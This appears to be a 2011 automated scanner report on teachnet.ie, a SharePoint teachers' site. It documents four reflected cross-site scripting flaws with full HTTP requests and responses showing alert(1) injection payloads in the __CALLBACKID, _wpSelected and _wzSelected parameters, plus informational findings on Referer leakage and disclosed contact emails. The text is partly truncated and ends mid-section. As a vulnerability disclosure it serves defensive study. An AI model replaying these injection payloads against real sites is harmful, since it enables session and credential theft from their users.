XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, teachnet.ie

Report generated by XSS.CX at Sun Oct 30 10:45:26 CDT 2011.



1. Cross-site scripting (reflected)

1.1. http://teachnet.ie/SitePages/Home.aspx [__CALLBACKID parameter]

1.2. http://teachnet.ie/news/SitePages/news.aspx [__CALLBACKID parameter]

1.3. http://teachnet.ie/news/SitePages/news.aspx [_wpSelected parameter]

1.4. http://teachnet.ie/news/SitePages/news.aspx [_wzSelected parameter]

2. Cross-domain Referer leakage

3. Email addresses disclosed

3.1. http://teachnet.ie/SitePages/FeaturedCoursePayment.aspx

3.2. http://teachnet.ie/SitePages/Home.aspx

3.3. http://teachnet.ie/SitePages/contactus.aspx

3.4. http://teachnet.ie/SitePages/membership_benefits.aspx

3.5. http://teachnet.ie/news/SitePages/news.aspx

4. Content type incorrectly stated

5. Content type is not specified

5.1. http://teachnet.ie/Scripts/scripts/swfobject.js

5.2. http://teachnet.ie/Style%20Library/sitename/favicon.ico



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://teachnet.ie/SitePages/Home.aspx [__CALLBACKID parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/Home.aspx

Issue detail

The value of the __CALLBACKID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aef35'%3balert(1)//2ecb8d99e8e was submitted in the __CALLBACKID parameter. This input was echoed as aef35';alert(1)//2ecb8d99e8e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /SitePages/Home.aspx HTTP/1.1
Host: teachnet.ie
Proxy-Connection: keep-alive
Content-Length: 19261
Origin: http://teachnet.ie
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://teachnet.ie/SitePages/Home.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

MSOWebPartPage_PostbackSource=&MSOTlPn_SelectedWpId=&MSOTlPn_View=0&MSOTlPn_ShowSettings=False&MSOGallery_SelectedLibrary=&MSOGallery_FilterString=&MSOTlPn_Button=none&__EVENTTARGET=&__EVENTARGUMENT=&
...[SNIP]...
SearchArea%24ctl01%24S3031AEBB_InputKeywords=Search%20this%20site...&ctl00%24PlaceHolderSearchArea%24ctl01%24ctl03=0&_wpcmWpid=&wpcmVal=&__CALLBACKID=ctl00%24m%24g_f711d14a_2a62_4f4b_a755_1fdf0534de24aef35'%3balert(1)//2ecb8d99e8e&__CALLBACKPARAM=&__EVENTVALIDATION=%2FwEWBwKI%2FovyBALNrvW5AwKOtvisAQKL0L7tBgKr3p3xBAL315elCwK2qoP5A2cPkBs09snyE39bge4p%2FotsVjBW

Response

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 68890ba7-3cc9-4267-8645-4de4cf9f5460
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:33:50 GMT
Content-Length: 168

eThe target 'ctl00$m$g_f711d14a_2a62_4f4b_a755_1fdf0534de24aef35';alert(1)//2ecb8d99e8e' for the callback could not be found or did not implement ICallbackEventHandler.

1.2. http://teachnet.ie/news/SitePages/news.aspx [__CALLBACKID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /news/SitePages/news.aspx

Issue detail

The value of the __CALLBACKID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dfd7a'%3balert(1)//8cad9397043 was submitted in the __CALLBACKID parameter. This input was echoed as dfd7a';alert(1)//8cad9397043 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /news/SitePages/news.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://teachnet.ie/news/SitePages/news.aspx
Content-Length: 27544
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2
Pragma: no-cache
Cache-Control: no-cache

MSOWebPartPage_PostbackSource=&MSOTlPn_SelectedWpId=&MSOTlPn_View=0&MSOTlPn_ShowSettings=False&MSOGallery_SelectedLibrary=&MSOGallery_FilterString=&MSOTlPn_Button=none&__EVENTTARGET=&__EVENTARGUMENT=&
...[SNIP]...
SearchArea%24ctl01%24S3031AEBB_InputKeywords=Search%20this%20site...&ctl00%24PlaceHolderSearchArea%24ctl01%24ctl03=0&_wpcmWpid=&wpcmVal=&__CALLBACKID=ctl00%24m%24g_89d2fa9c_728c_4766_b1af_2c6401908f8adfd7a'%3balert(1)//8cad9397043&__CALLBACKPARAM=&__EVENTVALIDATION=HRSQSq%2FEYB9NnbIkuBQRmuFdfD8vV6Xz50xcpYVlUqfgtPDKVzKdhHh4bV9DvgTmjPRdYV%2B%2F%2B5jrwjrriGA2TjnoTz1Tu7fc75WgejFChxSac6DcUUS1HTcR6TIjtcJT1WWOF6EkZvQcymWDe5lW1%2F%2FA
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 7c4d4f5b-9b9c-4618-854e-207fd921c5cf
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:41:42 GMT
Content-Length: 168

eThe target 'ctl00$m$g_89d2fa9c_728c_4766_b1af_2c6401908f8adfd7a';alert(1)//8cad9397043' for the callback could not be found or did not implement ICallbackEventHandler.

1.3. http://teachnet.ie/news/SitePages/news.aspx [_wpSelected parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /news/SitePages/news.aspx

Issue detail

The value of the _wpSelected request parameter is copied into the HTML document as plain text between tags. The payload 527ac<script>alert(1)</script>43b8d76a8e4 was submitted in the _wpSelected parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /news/SitePages/news.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache, no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://teachnet.ie/news/SitePages/news.aspx
Content-Length: 27733
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2
Pragma: no-cache

ctl00%24ScriptManager=ctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24UpdatePanel1%7Cctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24Calendar_blog&MSOWebPartPage_PostbackSour
...[SNIP]...
02011%2015%3A38%3A19%20-0000&MSOSPWebPartManager_DisplayModeName=Browse&MSOSPWebPartManager_ExitingDesignMode=false&MSOWebPartPage_Shared=&MSOLayout_LayoutChanges=&MSOLayout_InDesignMode=&_wpSelected=527ac<script>alert(1)</script>43b8d76a8e4&_wzSelected=&MSOSPWebPartManager_OldDisplayModeName=Browse&MSOSPWebPartManager_StartWebPartEditingName=false&MSOSPWebPartManager_EndWebPartEditing=false&_maintainWorkspaceScrollPosition=0&__VIEWSTATE
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 2eda5dc9-b97c-4718-9e70-90993e3d2d96
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:41:42 GMT
Content-Length: 39874

11710|updatePanel|ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_UpdatePanel1|
<table id="ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_Calendar_blog" cellspacing="1" cellpadding
...[SNIP]...
ageManager(initInfo);
},
"sp.ribbon.js");
var g_disableCheckoutInEditMode = false;
|43|scriptStartupBlock|ScriptContentNoTags|var _spWebPermMasks = {High:16,Low:200769};|41|hiddenField|_wpSelected|527ac<script>alert(1)</script>43b8d76a8e4|0|hiddenField|_wzSelected||

1.4. http://teachnet.ie/news/SitePages/news.aspx [_wzSelected parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /news/SitePages/news.aspx

Issue detail

The value of the _wzSelected request parameter is copied into the HTML document as plain text between tags. The payload a9e11<script>alert(1)</script>50ca5d109f4 was submitted in the _wzSelected parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /news/SitePages/news.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache, no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://teachnet.ie/news/SitePages/news.aspx
Content-Length: 27733
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2
Pragma: no-cache

ctl00%24ScriptManager=ctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24UpdatePanel1%7Cctl00%24m%24g_5e2d4f0b_486c_4cca_b819_87cbf605faa0%24ctl00%24Calendar_blog&MSOWebPartPage_PostbackSour
...[SNIP]...
38%3A19%20-0000&MSOSPWebPartManager_DisplayModeName=Browse&MSOSPWebPartManager_ExitingDesignMode=false&MSOWebPartPage_Shared=&MSOLayout_LayoutChanges=&MSOLayout_InDesignMode=&_wpSelected=&_wzSelected=a9e11<script>alert(1)</script>50ca5d109f4&MSOSPWebPartManager_OldDisplayModeName=Browse&MSOSPWebPartManager_StartWebPartEditingName=false&MSOSPWebPartManager_EndWebPartEditing=false&_maintainWorkspaceScrollPosition=0&__VIEWSTATE=4xsoX0mZ81OQ
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 33ad4070-bbe3-4b6d-9ed0-9d13f0aef71a
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:41:50 GMT
Content-Length: 39874

11710|updatePanel|ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_UpdatePanel1|
<table id="ctl00_m_g_5e2d4f0b_486c_4cca_b819_87cbf605faa0_ctl00_Calendar_blog" cellspacing="1" cellpadding
...[SNIP]...
"sp.ribbon.js");
var g_disableCheckoutInEditMode = false;
|43|scriptStartupBlock|ScriptContentNoTags|var _spWebPermMasks = {High:16,Low:200769};|0|hiddenField|_wpSelected||41|hiddenField|_wzSelected|a9e11<script>alert(1)</script>50ca5d109f4|

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/resourcesall.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /SitePages/resourcesall.aspx?level=2 HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://teachnet.ie/SitePages/sitemap.aspx

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Sat, 15 Oct 2011 14:36:19 GMT
Last-Modified: Sun, 30 Oct 2011 15:36:19 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 1dade0b6-26a7-4b8f-8951-037f7b7bbeba
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:36:20 GMT
Content-Length: 86118


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" __expr-val-dir="ltr" lang="en-us" dir="ltr">
...[SNIP]...
<span><a href="http://www.live.com" target="_blank">Sign In</a>
...[SNIP]...
<span><a href="http://twitter.com/teachnetireland" target="_blank" style="height: 20px"><img src="images/icon_twitter_20x20.gif" alt="" width="20" height="20" border="0"/>
...[SNIP]...
<span><a href="http://www.linkedin.com/in/teachnet" target="_blank" style="height: 20px"><img src="images/icon_linkedin_20x20.gif" alt="" width="20" height="20" border="0"/>
...[SNIP]...
<span><a href="http://www.facebook.com/pages/TeachNet-Ireland/146079355434475?ref=sgm " target="_blank"><img src="images/icon_facebook_20x20.gif" alt="" width="20" height="20" border="0"/>
...[SNIP]...
<div class="heading_box">
<a href='http://www.education.ie/servlet/blobservlet/jc_artcraftdesign_sy.pdf?language=EN' target="_blank">
<img src="~/_layouts/Resources/search-icon.png" alt="" style="vertical-align:text-top;" />
...[SNIP]...
<p>

<a href='http://www.education.ie/servlet/blobservlet/jc_artcraftdesign_sy.pdf?language=EN' target="_blank">
<span style="vertical-align:middle">
...[SNIP]...
<div class="heading_box">
<a href='http://www.education.ie/servlet/blobservlet/jc_artcraftdesign_guide.pdf?language=EN' target="_blank">
<img src="~/_layouts/Resources/search-icon.png" alt="" style="vertical-align:text-top;" />
...[SNIP]...
<p>

<a href='http://www.education.ie/servlet/blobservlet/jc_artcraftdesign_guide.pdf?language=EN' target="_blank">
<span style="vertical-align:middle">
...[SNIP]...
<div class="heading_box">
<a href='http://www.artteachers.ie/' target="_blank">
<img src="~/_layouts/Resources/search-icon.png" alt="" style="vertical-align:text-top;" />
...[SNIP]...
<p>

<a href='http://www.artteachers.ie/' target="_blank">
<span style="vertical-align:middle">
...[SNIP]...
<div class="heading_box">
<a href='http://www.examinations.ie/index.php?l=en&mc=en&sc=ep' target="_blank">
<img src="~/_layouts/Resources/search-icon.png" alt="" style="vertical-align:text-top;" />
...[SNIP]...
<p>

<a href='http://www.examinations.ie/index.php?l=en&mc=en&sc=ep' target="_blank">
<span style="vertical-align:middle">
...[SNIP]...
<td><a href="http://www.spd.dcu.ie/main/index.shtml" target="_blank"><img src="images/logo_stpat.gif" style="border:0px;"alt="" width="41" height="40" />
...[SNIP]...
<td ><a href="http://www.citigroup.com/citi/foundation/" target="_blank"><img src="images/logo_citi.gif" style="border:0px;" alt="" width="77" height="40" />
...[SNIP]...
<td><a href="http://www.microsoft.com" target="_blank"><img src="images/Logo_Microsoft.gif" alt="" style="border:0px;" width="100" height="17" />
...[SNIP]...
<td><a href="http://www.h2.ie/" target="_blank"><img src="images/Logo_H2.gif" style="border:0px;" alt="" width="44" height="40" />
...[SNIP]...
<td><a href="http://teachersnetwork.org/" target="_blank" ><img src="images/logo_teachorg.gif" style="border:0px;"alt="" width="74" height="40" />
...[SNIP]...
<td colspan="6" style="margin-top:10px; text-align:right; height:20px; padding-right:10px;" class="softedge_link"><a href="http://www.softedge-systems.com" target="_blank">Site by Softedge</a>
...[SNIP]...

3. Email addresses disclosed  previous  next
There are 5 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


3.1. http://teachnet.ie/SitePages/FeaturedCoursePayment.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/FeaturedCoursePayment.aspx

Issue detail

The following email address was disclosed in the response:

Request

GET /SitePages/FeaturedCoursePayment.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://teachnet.ie/SitePages/Home.aspx

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Sat, 15 Oct 2011 14:35:37 GMT
Last-Modified: Sun, 30 Oct 2011 15:35:37 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 9bcc80df-7681-44e2-b17c-cfd06652c9a1
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:35:36 GMT
Content-Length: 68117


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" __expr-val-dir="ltr" lang="en-us" dir="ltr">
...[SNIP]...
<a href="mailto:cpd@teachnet.ie">cpd@teachnet.ie</a>
...[SNIP]...
<p>If you experience any difficulties enrolling please email cpd@teachnet.ie or call our Teacher Support line on 01 - 4806208</p>
...[SNIP]...

3.2. http://teachnet.ie/SitePages/Home.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/Home.aspx

Issue detail

The following email address was disclosed in the response:

Request

POST /SitePages/Home.aspx HTTP/1.1
Host: teachnet.ie
Proxy-Connection: keep-alive
Content-Length: 19261
Origin: http://teachnet.ie
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://teachnet.ie/SitePages/Home.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

MSOWebPartPage_PostbackSource=&MSOTlPn_SelectedWpId=&MSOTlPn_View=0&MSOTlPn_ShowSettings=False&MSOGallery_SelectedLibrary=&MSOGallery_FilterString=&MSOTlPn_Button=none&__EVENTTARGET=&__EVENTARGUMENT=&
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 667e2812-ee4a-4610-b310-090884cd6f35
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:30:58 GMT
Content-Length: 7141

88|/wEWBwKI/ovyBALNrvW5AwKOtvisAQKL0L7tBgKr3p3xBAL315elCwK2qoP5A2cPkBs09snyE39bge4p/otsVjBW<table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td><div id="ctl00_m_g_f711d14a_2a62_4f4b_
...[SNIP]...
<p>- Choose their own TeachNet email address: yourname@tmail.ie with 10GB of storage. <br>
...[SNIP]...

3.3. http://teachnet.ie/SitePages/contactus.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/contactus.aspx

Issue detail

The following email address was disclosed in the response:

Request

GET /SitePages/contactus.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://teachnet.ie/SitePages/Register_Now.aspx
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Sat, 15 Oct 2011 14:37:30 GMT
Last-Modified: Sun, 30 Oct 2011 15:37:30 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: f2d4c05b-67a4-49f9-b338-083b501ed942
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:37:29 GMT
Content-Length: 73164


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" __expr-val-dir="ltr" lang="en-us" dir="ltr">
...[SNIP]...
<a href="mailto:info@teachnet.ie?subject=TeachNet%20Query%20from%20Website">info@teachnet.ie</a>
...[SNIP]...

3.4. http://teachnet.ie/SitePages/membership_benefits.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /SitePages/membership_benefits.aspx

Issue detail

The following email address was disclosed in the response:

Request

GET /SitePages/membership_benefits.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://teachnet.ie/SitePages/Register_Now.aspx
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Sat, 15 Oct 2011 14:37:13 GMT
Last-Modified: Sun, 30 Oct 2011 15:37:13 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: c26667c8-f145-4fb9-9ba2-df747b8d2ddf
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:37:13 GMT
Content-Length: 56785


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" __expr-val-dir="ltr" lang="en-us" dir="ltr">
...[SNIP]...
<span>Choose your own TeachNet email address: yourname@tmail.ie with 10GB of storage.</span>
...[SNIP]...

3.5. http://teachnet.ie/news/SitePages/news.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://teachnet.ie
Path:   /news/SitePages/news.aspx

Issue detail

The following email address was disclosed in the response:

Request

GET /news/SitePages/news.aspx HTTP/1.1
Host: teachnet.ie
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://teachnet.ie/SitePages/contactus.aspx
Cookie: ASP.NET_SessionId=d3amoi45dr1c1d55f2ryakn2

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Sat, 15 Oct 2011 14:38:21 GMT
Last-Modified: Sun, 30 Oct 2011 15:38:21 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
SPRequestGuid: 72233838-0f03-46e2-b7cc-a78fe124e4df
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
Date: Sun, 30 Oct 2011 15:38:21 GMT
Content-Length: 109664


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" __expr-val-dir="ltr" lang="en-us" dir="ltr">
...[SNIP]...
<li>Choose your own TeachNet email address: yourname@tmail.ie with 10GB of storage.</li>
...[SNIP]...

4. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://teachnet.ie
Path:   /news/SitePages/news.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Issue background

